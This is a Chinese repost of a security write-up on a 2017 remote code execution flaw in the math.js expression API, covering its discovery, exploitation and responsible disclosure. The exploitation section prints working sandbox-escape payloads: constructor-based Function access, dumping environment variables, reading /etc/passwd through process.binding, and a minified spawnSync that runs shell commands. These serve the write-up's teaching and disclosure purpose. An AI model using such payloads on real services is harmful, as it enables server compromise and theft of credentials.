利用 math.js 中的远程代码执行漏洞

admin 2023年6月21日09:10:45评论13 views字数 4776阅读15分55秒阅读模式
利用 math.js 中的远程代码执行漏洞
本文简要介绍了我们如何发现、利用和报告远程代码执行 (RCE) 漏洞。它旨在成为发现漏洞以及以负责任的方式报告漏洞的指南。
第一步:发现
在使用math.js API ( ) 的包装器http://api.mathjs.org/v1/?expr=expression-here时,我们发现它似乎可以评估 JavaScript,但有一些限制:
> !calc cosResult: function
> !calc evalResult: function
> !calc eval("x => x")Error: Value expected (char 3)
> !calc eval("console.log")Error: Undefined symbol console
> !calc eval("return 1")Result: 1
特别是,它似乎eval被替换为安全版本。Function和setTimeout/setInterval也没有用:
> !calc Function("return 1")
Error: Undefined symbol Function

> !calc setTimeout
Error: Undefined symbol Function

第二步:剥削
现在我们发现代码评估存在某种限制,我们必须避开它们。
在 JavaScript 中有四种评估字符串的标准方法:
eval("code")new Function("code")setTimeout("code", timeout)setInterval("code", interval)
在 math.js 环境中,这些无法直接访问,因为它们未定义或因为它们已使用安全函数重新定义。然而,它们可以被间接访问:值得注意的是,它们Function可以作为现有函数的构造函数被间接访问——这是导致发现漏洞的关键直觉。
例如,Function("return 1")可以替换为Math.floor.constructor("return 1"). 因此,要评估return 1,我们可以使用Math.floor.constructor("return 1")()

我们知道在 math.js 环境中cos被定义为一个函数,所以我们使用了:

> !calc cos.constructor("return 1")()Result: 1
成功!
从这里我们可以简单地require-d 一些本机模块并获得对操作系统的访问权限,对吗?没那么快:尽管 math.js API 服务器在 Node.js 环境中运行,但出于某种原因我们无法使用require.
> !calc cos.constructor("return require")()Error: require is not defined

但是,我们可以使用process,它有一些漂亮的功能:

> !calc cos.constructor("return process")()
Result: [object process]

> !calc cos.constructor("return process.env")()
Result: {
"WEB_MEMORY": "512",
"MEMORY_AVAILABLE": "512",
"NEW_RELIC_LOG": "stdout",
"NEW_RELIC_LICENSE_KEY": "<redacted>",
"DYNO": "web.1",
"PAPERTRAIL_API_TOKEN": "<redacted>",
"PATH": "/app/.heroku/node/bin:/app/.heroku/yarn/bin:bin:node_modules/.bin:/usr/local/bin:/usr/bin:/bin:/app/bin:/app/node_modules/.bin",
"WEB_CONCURRENCY": "1",
"PWD": "/app",
"NODE_ENV": "production",
"PS1": "[&#x0;33[01;34m]w[&#x0;33[00m] [&#x0;33[01;32m]$ [&#x0;33[00m]",
"SHLVL": "1",
"HOME": "/app",
"PORT": "<redacted>",
"NODE_HOME": "/app/.heroku/node",
"_": "/app/.heroku/node/bin/node"
}

尽管process.env包含一些有趣的信息,但它并不能真正做任何有趣的事情:我们需要更深入地使用process.binding,它向操作系统公开 Javascript 绑定。虽然它们没有正式文档并且仅供内部使用,但可以通过阅读 Node.js 源代码来重建它们的行为。例如,我们可以用来process.binding("fs")读取操作系统上的任意文件(具有适当的权限):
为简洁起见,我们将跳过!calc cos.constructor("code")包装器而是粘贴相关的 JS 代码。
> buffer = Buffer.allocUnsafe(8192); process.binding('fs').read(process.binding('fs').open('/etc/passwd', 0, 0600), buffer, 0, 4096); return bufferroot:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/bin/shbin:x:2:2:bin:/bin:/bin/shsys:x:3:3:sys:/dev:/bin/sh<more users...>
我们几乎完成了:现在我们需要找到一种打开 shell 并运行任意命令的方法。如果您有使用 Node.js 的经验,您可能知道child_process, 它可用于生成进程spawnSync:我们只需要使用 OS 绑定复制此功能(记住我们不能使用require)。
这比看起来更容易:您只需获取的源代码child_process,删除不需要的代码(未使用的函数和错误处理),将其缩小,然后通过 API 运行它。
// Source: https://github.com/nodejs/node/blob/master/lib/child_process.js// Defines spawn_sync and normalizeSpawnArguments (without error handling). These are internal variables.spawn_sync = process.binding('spawn_sync'); normalizeSpawnArguments = function(c,b,a){if(Array.isArray(b)?b=b.slice(0):(a=b,b=[]),a===undefined&&(a={}),a=Object.assign({},a),a.shell){const g=[c].concat(b).join(' ');typeof a.shell==='string'?c=a.shell:c='/bin/sh',b=['-c',g];}typeof a.argv0==='string'?b.unshift(a.argv0):b.unshift(c);var d=a.env||process.env;var e=[];for(var f in d)e.push(f+'='+d[f]);return{file:c,args:b,options:a,envPairs:e};}// Defines spawnSync, the function that will do the actual spawningspawnSync = function(){var d=normalizeSpawnArguments.apply(null,arguments);var a=d.options;var c;if(a.file=d.file,a.args=d.args,a.envPairs=d.envPairs,a.stdio=[{type:'pipe',readable:!0,writable:!1},{type:'pipe',readable:!1,writable:!0},{type:'pipe',readable:!1,writable:!0}],a.input){var g=a.stdio[0]=util._extend({},a.stdio[0]);g.input=a.input;}for(c=0;c<a.stdio.length;c++){var e=a.stdio[c]&&a.stdio[c].input;if(e!=null){var f=a.stdio[c]=util._extend({},a.stdio[c]);isUint8Array(e)?f.input=e:f.input=Buffer.from(e,a.encoding);}}console.log(a);var b=spawn_sync.spawn(a);if(b.output&&a.encoding&&a.encoding!=='buffer')for(c=0;c<b.output.length;c++){if(!b.output[c])continue;b.output[c]=b.output[c].toString(a.encoding);}return b.stdout=b.output&&b.output[1],b.stderr=b.output&&b.output[2],b.error&&(b.error= b.error + 'spawnSync '+d.file,b.error.path=d.file,b.error.spawnargs=d.args.slice(1)),b;}

从这里,我们可以生成任意进程并运行 shell 命令:

> return spawnSync('/usr/bin/whoami');{  "status": 0,  "signal": null,  "output": [null, u15104, ],  "pid": 100,  "stdout": u15104,  "stderr":}
第三步:报告
既然我们发现了一个漏洞并最大程度地利用了它,我们就必须决定如何处理它。由于我们只是为了好玩而没有恶意地利用它,所以我们采取了“白帽”方式并将其报告给维护者。我们通过他的 GitHub 个人资料中列出的电子邮件地址私下联系了他,并提供了以下详细信息:
  • 漏洞的简短描述(mathjs.eval 中的远程代码执行缺陷);
  • 一个示例攻击,解释它是如何工作的(总结为什么cos.constructor("code")()有效以及可以实现什么process.bindings);
  • 实时服务器上的实际演示whoami(我们包括和的输出uname -a);
  • 关于如何修复它的建议(例如,使用vmNode.js 中的模块)。
在两天的时间里,我们与作者一起帮助修复了该漏洞。值得注意的是,在他推出修复后,2f45600我们发现了一个类似的解决方法(如果您不能直接使用构造函数,请使用cos.constructor.apply(null, "code")()),该解决方法已在3c3517d.
时间线
  • 2017 年 3 月 26 日 22:20 CEST:首次成功利用
  • 2017 年 3 月 29 日 14:43 CEST:向作者报告了漏洞
  • 2017 年 3 月 31 日 12:35 CEST:.apply报告了第二个漏洞 ( )
  • 2017 年 3 月 31 日 13:52 CEST:两个漏洞均已修复

原文链接:https://jwlss.pw/mathjs/

原文始发于微信公众号(Ots安全):利用 math.js 中的远程代码执行漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月21日09:10:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   利用 math.js 中的远程代码执行漏洞http://cn-sec.com/archives/1822950.html

发表评论

匿名网友 填写信息